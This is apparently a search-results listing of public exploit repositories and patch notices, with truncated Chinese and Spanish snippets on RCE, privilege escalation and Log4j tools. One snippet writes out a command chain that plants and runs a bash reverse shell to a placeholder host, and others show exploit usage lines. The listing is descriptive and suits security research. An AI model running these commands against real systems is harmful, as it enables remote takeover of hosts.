1307018 matches found
IPFire_2.19_RCE_Authenticated
IPFire 2.19 OINKCODE RCE PoC Prueba de concepto en Python para la vulnerabilidad de inyección de comandos autenticada en la página ids.cgi de IPFire 2.19 a través del parámetro OINKCODE. Solo para pruebas de seguridad autorizadas y laboratorios de formación. Ejecute este PoC únicamente contra...
WordPress-RCE-CVE-2019-8942
WordPress 裁剪图片 RCE — CVE-2019-8942 / CVE-2019-8943 Python3 实现的有身份验证的 WordPress 裁剪图片利用链。该仓库围绕两种独立的工作流程组织：一个手动 OSCP 风格脚本和一个完全自动化且集成了反向 Shell 处理器的脚本。 仅可在授权的实验室、CTF、培训平台或你拥有明确测试许可的系统中使用此工具。 受影响的 WordPress 版本 该利用链针对以下漏洞： CVE-2019-8942 CVE-2019-8943 该漏洞的公共 Metasploit 模块描述了受影响的版本： root@kitploit: WordPre...
ROOT-OS-DEBIAN-12-CVE-2026-41069 CVE-2026-41069 in libheif - Patched by Root
Root has patched CVE-2026-41069 in the libheif package for Root:Debian:12. Multiple fixed versions available...
ROOT-OS-DEBIAN-12-CVE-2026-32739 CVE-2026-32739 in libheif - Patched by Root
Root has patched CVE-2026-32739 in the libheif package for Root:Debian:12. Multiple fixed versions available...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 反弹shell如下： 写入反弹shell脚本 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 赋予shell脚本执行权限 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 执行shell python3 CVE-2021-25646.p...
CVE-2021-3560_PoC
CVE-2021-3560PoC script de explotación de polkit Script automatizado para escalar a root usando el servicio polkit Requisitos Servidor SSH esto es para evitar que aparezcan ventanas emergentes de autenticación a través de GNOME Distribución Linux vulnerable: Distribución| ¿Vulnerable? ---|--- RHE...
perwendel__spark_CVE-2018-9159_2_7_2_fixed
Spark - 一个适用于Java 8的微型Web框架 新闻 ：Spark 2.7.1已发布。请尝试使用并报告任何错误。 root@kitploit: com.sparkjava spark-core 2.7.1 重要提示 - 旧版本Spark（低于2.5.2的版本）存在漏洞。请升级到最新版本。 文档请访问：http://sparkjava.com/documentation 使用问题请使用 stack overflow 上的“spark-java”标签 Javadoc: http://javadoc.io/doc/com.sparkjava/spark-core 快速开始...
Nuclei_CVE-2025-31161_CVE-2025-2825
此存储库没有 README。...
cve-2017-0199
cve-2017-0199 野外使用的样本文件 https://twitter.com/SyFi2k...
LogMePwn
LogMePwn LogMePwn 是一个全自动、多协议、可靠、超快速的 Log4J RCE CVE-2021-44228 漏洞扫描与验证工具包。 工具亮点 原生支持通过电子邮件或 Webhook 自动生成 Canary Token。 多协议支持：HTTP、IMAP、SSH、FTP 等。 支持多种 HTTP 方法（GET、POST、PUT、DELETE、PATCH 等）。 自定义 HTTP 请求体模糊测试（JSON、XML 等）。 自定义回调服务器和有效载荷支持。 CIDR 范围扫描。 一切皆多线程且超快速（使用 Go 编写）。 ……还有更多。查看文档和下方工具！ 工作原理 LogMeP...
ROOT-APP-NPM-CVE-2021-32640 CVE-2021-32640 in ws - Patched by Root
Root has patched CVE-2021-32640 in the ws package for Root:npm. Multiple fixed versions available...
kibana-prototype-pollusion
CVE-2019-7609 在 5.6.15 之前的 Kibana 版本以及 6.6.1 版本中，Timelion 可视化工具存在任意代码执行缺陷。拥有 Timelion 应用访问权限的攻击者可以发送一个请求，尝试执行 JavaScript 代码。这可能导致攻击者以主机系统上 Kibana 进程的权限执行任意命令。 CVSS: 博客: https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ Payload: https://github.com/mpgn/CVE-2019-7609 目标 设...
CVE-2022-29464
CVE-2022-29464 WSO2 RCE 用法： root@kitploit: python3 exploit.py https://host:9443/ ArbitraryShellName.jsp...
fix-CVE-2020-15228
修复 CVE-2020-15228（Github-Actions 中的 set-env、add-path） 此脚本会修改你的 GitHub Actions 文件中的行。 你给它一个目录名，它会搜索所有扩展名为 ".sh" 或 ".yml" 的文件。 它能识别以下这些行： root@kitploit: echo ::set-env name=FOOBAR::$FOOBAR echo ::set-env name=FOOBAR::$FOOBAR echo "::set-env name=FOOBAR::$FOOBAR" echo "::set-env name=FOOBAR::$FOOBAR...
Adobe-Flash-Exploits_17-18
Adobe Flash 漏洞利用 CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 和 CVE-2015-5122 Python3 脚本 将针对 Adobe Flash 漏洞的 Metasploit 利用代码 CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 和 CVE-2015-5122 转换为 Python3 脚本。 信息 此脚本将托管一个 Web 服务器，每次可以针对以下 Adobe Flash 漏洞之一进行利用： 1. CVE-2015-3090 2. CVE-2015-3105 3...
CVE-2026-47839
creationtimestamp| type| source ---|---|--- 2026-09-11 10:30:26+00:00| seen| https://infosec.exchange/users/offseq/statuses/117251940382716886 2026-09-11 10:30:28+00:00| seen| https://bsky.app/profile/offseq.bsky.social/post/3mvaede5jer2f 2026-09-11 11:10:11+00:00| seen|...
Mandela-Classic
Mandela Rewritten 由CVE-2022-46689驱动的iOS定制应用程序。无需越狱。 免责声明 本人不对您的设备造成的任何损坏负责。使用此应用程序风险自负。 构建说明 root@kitploit: git clone https://github.com/BomberFish/Mandela-Rewritten.git cd Mandela make...
Microsoft_Exchange_Server_SSRF_CVE-2021-26855
MicrosoftExchangeServerSSRFCVE-2021-26855 zoomeye dork：app:"Microsoft Exchange Server" 使用Seebug工具箱及pocsuite3编写的脚本MicrosoftExchangeServerSSRFCVE-2021-26855.py，对近一年的数据进行探测： 成功率约为：1500 / 5000 = 30%...
log4j-shell-poc
log4j-shell-poc 针对最近发现的CVE-2021-44228漏洞的概念验证。 最近log4j中出现了一个新漏洞，log4j是一个Java日志库，被广泛用于Elasticsearch、Minecraft等众多应用中。 在这个仓库中，我们制作了一个示例漏洞应用及其概念验证（POC）利用代码。 展示利用过程的视频 Vuln Web App: https://user-images.githubusercontent.com/87979263/146113359-20663eaa-555d-4d60-828d-a7f769ebd266.mp4 Ghidra 旧脚本:...